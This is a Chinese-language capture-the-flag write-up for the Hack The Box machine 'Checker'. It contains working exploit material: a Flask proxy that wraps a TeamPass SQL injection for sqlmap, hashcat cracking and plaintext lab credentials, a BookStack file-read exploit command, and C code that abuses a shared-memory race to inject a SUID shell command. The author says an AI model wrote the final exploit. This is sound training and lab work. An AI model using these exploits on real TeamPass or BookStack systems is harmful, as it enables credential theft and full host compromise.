Checker
10.10.11.56
nmap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| # Nmap 7.95 scan initiated Tue Apr 22 16:57:35 2025 as: nmap -e utun4 -sC -sV -vv -oA nmap/default-full 10.10.11.56 Nmap scan report for 10.10.11.56 Host is up, received echo-reply ttl 63 (0.11s latency). Scanned at 2025-04-22 16:57:48 CST for 16s Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNQsMcD52VU4FwV2qhq65YVV9Flp7+IUAUrkugU+IiOs5ph+Rrqa4aofeBosUCIziVzTUB/vNQwODCRSTNBvdXQ= | 256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIRBr02nNGqdVIlkXK+vsFIdhcYJoWEVqAIvGCGz+nHY 80/tcp open http syn-ack ttl 63 Apache httpd |_http-server-header: Apache |_http-title: 403 Forbidden 8080/tcp open http syn-ack ttl 63 Apache httpd |_http-server-header: Apache |_http-title: 403 Forbidden Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /opt/homebrew/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Apr 22 16:58:04 2025 -- 1 IP address (1 host up) scanned in 28.98 seconds
|
将 checker.htb 添加到 hosts
8080 teampass
changelog
github
查看 changelog 对比 github 仓库中的 changelog 可推测版本在 3.0.0.22 之前,存在 sql 注入 https://huntr.com/bounties/942c015f-7486-49b1-94ae-b1538d812bc2 ,回显在 jwt 中需要解码,构建一个反代服务器使用 sqlmap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| import base64 import re import json from flask import Flask, request, jsonify
import requests
def fix_padding(data): missing_padding = len(data) % 4 if missing_padding: data += '=' * (4 - missing_padding) return data
def force_decode_base64(data): fixed_data = fix_padding(data) return base64.b64decode(fixed_data)
def send_request(sql): burp0_url = "http://checker.htb:8080/api/index.php/authorize" burp0_headers = {"User-Agent": "curl/8.7.1", "Accept": "*/*", "Content-Type": "application/json", "Connection": "keep-alive"} burp0_json={"apikey": "foo", "login": f"none' UNION SELECT id, '$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq', ({sql}), private_key, personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' FROM teampass_users WHERE login='admin", "password": "h4ck3d"} try: response = requests.post(burp0_url, headers=burp0_headers, json=burp0_json) if response.status_code == 500: return "" return json.loads(force_decode_base64(response.json()["token"].split(".")[1]).decode())["public_key"] except: return ""
app = Flask(__name__)
@app.route('/inject', methods=['GET']) def process_data(): query = request.args.get('query') return send_request(query)
if __name__ == '__main__': app.run(port=3000)
|
1
| $ sqlmap -u "http://localhost:3000/inject?query=*" -D teampass -T teampass_users --dump --hex
|
获得哈希
1 2
| admin:$2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya bob:$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
|
1 2
| $ hashcat -m 3200 '$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy' rockyou.txt # $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy:cheerleader
|
获得凭据 bob:cheerleader,登陆 teampass 获取到 bookstack 和 ssh 凭据
1 2
| bookstack [email protected]:mYSeCr3T_w1kI_P4sSw0rD ssh reader:hiccup-publicly-genesis
|
ssh 无法直接登陆,需要验证码。
80 Bookstack
bookstack-version
Bookstack 23.10.2 存在漏洞 https://github.com/AbdrrahimDahmani/php_filter_chains_oracle_exploit_for_CVE-2023-6199
在新建页面后编辑一下,开启 burp 监听等待自动保存即可抓取到存在漏洞的 ajax 接口请求,更新参数
1
| $ python3 filters_chain_oracle_exploit.py --parameter html --headers '{"Content-Type": "application/x-www-form-urlencoded","X-CSRF-TOKEN": "8Gq9scMhg3Geezu4lhDyiykmtYREezKfOmHJqFBC","Cookie":"teampass_session=35c10dvbds533olcq9k6rm8imk; jstree_select=1; XSRF-TOKEN=eyJpdiI6IkRHM1IzTk8wTnluOVFUT01pWnFIc1E9PSIsInZhbHVlIjoiYmE3K3lKdnErYWIvL2xralhIb1Nla0FKSGhkdytyOVJLa3FTWXJJcmxuTHdwT1VxRitNckcvWUVsQUw1ampxNXBlK2JOQkJ4T09pcTA4NkQ3QkxkQlM4TC9HWHFFb1d2NC80T2t4RkQvQVNJWlpTOWttZzlZNEF4OHBDQVBscWMiLCJtYWMiOiIzMjUzYWQ3OTc2YmVmMWU1YTg5OGE3ODhiYzAwYTJkYTgyMzM5ODUzZGMzYjRmY2VkOTU0ZjNhNzYzNDIzNzU0IiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6Im8vYWt6eExFclZLdVdoUDlRUVZUY3c9PSIsInZhbHVlIjoiTE5SU0ZXYnhNbTloaGh5MERiVnF4S0lvdGptaXMxR3hJMlBTRWRrRzJRNXdEejlKdVZTZ1RjdVFITUFCcDFWN0RBdXArZSt5ZnNRa1hJaExlenBWdVJxYmZROXNGTEZZVnRLc0dNWHl0YW43NG5yOTJ5dUI4RGZNb3RyaDVPSVciLCJtYWMiOiIyNGFiN2FlN2I4ZGRlYzNmMjllZmVjMjYzMWIzZDk3NTM5M2I1ZGIyODBlZGNmMWQ0ZTVhODI5NmExMTRhY2I1IiwidGFnIjoiIn0%3D"}' --verb PUT --target http://checker.htb/ajax/page/8/save-draft --file '/etc/passwd'
|
成功读取 /etc/passwd

根据 google-authenticator 文档可知 ssh 2fa 配置文件位于 ~/.google_authenticator,故需要读取 /backup/home_backup/home/reader/.google_authenticator

获得 totp key DVDBRAODLCWF7I2ONA4K5LQLUE
1 2
| $ oathtool --totp -b 'DVDBRAODLCWF7I2ONA4K5LQLUE' 672562
|
成功登陆 ssh,若出现 Error "Operation not permitted" while writing config 可尝试将 VPN 区域调整至 US
提权
linpeas.sh
database-config
1 2 3 4 5 6 7
| array ( 'driver'=>'mysql', 'url'=>NULL, 'host'=>'localhost', 'database'=>'bookstack_db', 'username'=>'bookstack', 'password'=>'pK8HK7IHCKLCNHUJ7', 'unix_socket'=>'', 'port'=>3306, 'charset'=>'utf8mb4', 'collation'=>'utf8mb4_unicode_ci', 'prefix'=>'', 'prefix_indexes'=>true, 'strict' => false, 'engine' => NULL, 'options' => array ( ), )
|
sudo
1 2 3 4 5 6 7 8 9 10 11 12
| $ sudo -l Matching Defaults entries for reader on checker: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User reader may run the following commands on checker: (ALL) NOPASSWD: /opt/hash-checker/check-leak.sh *
$ cat /opt/hash-checker/check-leak.sh #!/bin/bash source `dirname $0`/.env USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]') /opt/hash-checker/check_leak "$USER_NAME"
|
下载 check_leak ghidra 打开
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
| undefined8 main(int param_1,ulong param_2)
{ char cVar1; undefined4 uVar2; uint param1; char *pcVar3; char *pcVar4; char *pcVar5; char *pcVar6; size_t sVar7; char *pcVar8; char *extraout_RDX; pcVar3 = getenv("DB_HOST"); pcVar4 = getenv("DB_USER"); pcVar5 = getenv("DB_PASSWORD"); pcVar6 = getenv("DB_NAME"); if (*(char *)((param_2 + 8 >> 3) + 0x7fff8000) != '\0') { __asan_report_load8(param_2 + 8); } pcVar8 = *(char **)(param_2 + 8); if ((((pcVar3 == (char *)0x0) || (pcVar4 == (char *)0x0)) || (pcVar5 == (char *)0x0)) || (pcVar6 == (char *)0x0)) { if (DAT_80019140 != '\0') { __asan_report_load8(&stderr); } fwrite("Error: Missing database credentials in environment\n",1,0x33,stderr); __asan_handle_no_return(); exit(1); } if (param_1 != 2) { if (*(char *)((param_2 >> 3) + 0x7fff8000) != '\0') { __asan_report_load8(param_2); } pcVar3 = *(char **)param_2; if (DAT_80019140 != '\0') { __asan_report_load8(&stderr); pcVar3 = extraout_RDX; } fprintf(stderr,"Usage: %s <USER>\n",pcVar3); __asan_handle_no_return(); exit(1); } if (pcVar8 != (char *)0x0) { cVar1 = *(char *)(((ulong)pcVar8 >> 3) + 0x7fff8000); if (cVar1 <= (char)((byte)pcVar8 & 7) && cVar1 != '\0') { __asan_report_load1(pcVar8); } if (*pcVar8 != '\0') { sVar7 = strlen(pcVar8); if (0x14 < sVar7) { if (DAT_80019140 != '\0') { __asan_report_load8(&stderr); } fwrite("Error: <USER> is too long. Maximum length is 20 characters.\n",1,0x3c,stderr); __asan_handle_no_return(); exit(1); } pcVar8 = fetch_hash_from_db(pcVar3,pcVar4,pcVar5,pcVar6,pcVar8); if (pcVar8 == (char *)0x0) { puts("User not found in the database."); } else { uVar2 = check_bcrypt_in_file("/opt/hash-checker/leaked_hashes.txt",pcVar8); if ((char)uVar2 == '\0') { puts("User is safe."); } else { puts("Password is leaked!"); if (DAT_8001913c != '\0') { __asan_report_load8(&stdout); } fflush(stdout); param1 = write_to_shm(pcVar8); printf("Using the shared memory 0x%X as temp location\n",param1); if (DAT_8001913c != '\0') { __asan_report_load8(&stdout); } fflush(stdout); sleep(1); notify_user(pcVar3,pcVar4,pcVar5,pcVar6,param1); clear_shared_memory(param1); } free(pcVar8); } return 0; } } if (DAT_80019140 != '\0') { __asan_report_load8(&stderr); } fwrite("Error: <USER> is not provided.\n",1,0x1f,stderr); __asan_handle_no_return(); exit(1); }
|
sleep 将导致条件竞争漏洞,在程序读取共享内存前进行修改即可控制变量

mysql 处存在命令注入,可控数据来自共享内存 pcVar4 变量,内容需包含 Leaked hash detected
将 write_to_shm 函数源码发给 qwen-max-2.5 并明确了要求后,AI 给出了 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ipc.h> #include <sys/shm.h> #include <time.h> #include <unistd.h>
int main() { int shmid; char *shmaddr; time_t current_time = time(NULL); char payload[0x400];
snprintf(payload, sizeof(payload), "Leaked hash detected at 1970-01-01 00:00:00 > '; chmod +s /bin/bash;#" );
for (int delta = -2; delta <= 2; delta++) { time_t t = current_time + delta; srand(t); int key = rand() % 0xfffff;
shmid = shmget(key, 0x400, 0); if (shmid != -1) { break; } }
if (shmid == -1) { perror("[-] Failed to find shmid"); exit(EXIT_FAILURE); }
shmaddr = shmat(shmid, NULL, 0); if (shmaddr == (char *)-1) { perror("[-] shmat"); exit(EXIT_FAILURE); }
memcpy(shmaddr, payload, strlen(payload) + 1); printf("[+] Overwritten shared memory with payload\n");
if (shmdt(shmaddr) == -1) { perror("[-] shmdt"); exit(EXIT_FAILURE); }
printf("[+] Exploit completed. Check /bin/bash SUID bit.\n"); return 0; }
|
pwned
总结
通过 teampass 的 SQL 注入 + hashcat 获取用户 bob 凭据,登陆 teampass 获取 bookstack 和 ssh 密码;通过 bookstack 的 SSRF + oracle filter chain 读取 .google_authenticator 登陆 ssh 到达 user shell。
sudo 检查可执行命令发现 check_leak,逆向分析发现 check_leak 存在条件竞争 + 命令注入,qwen 编写 exp 到达 root shell。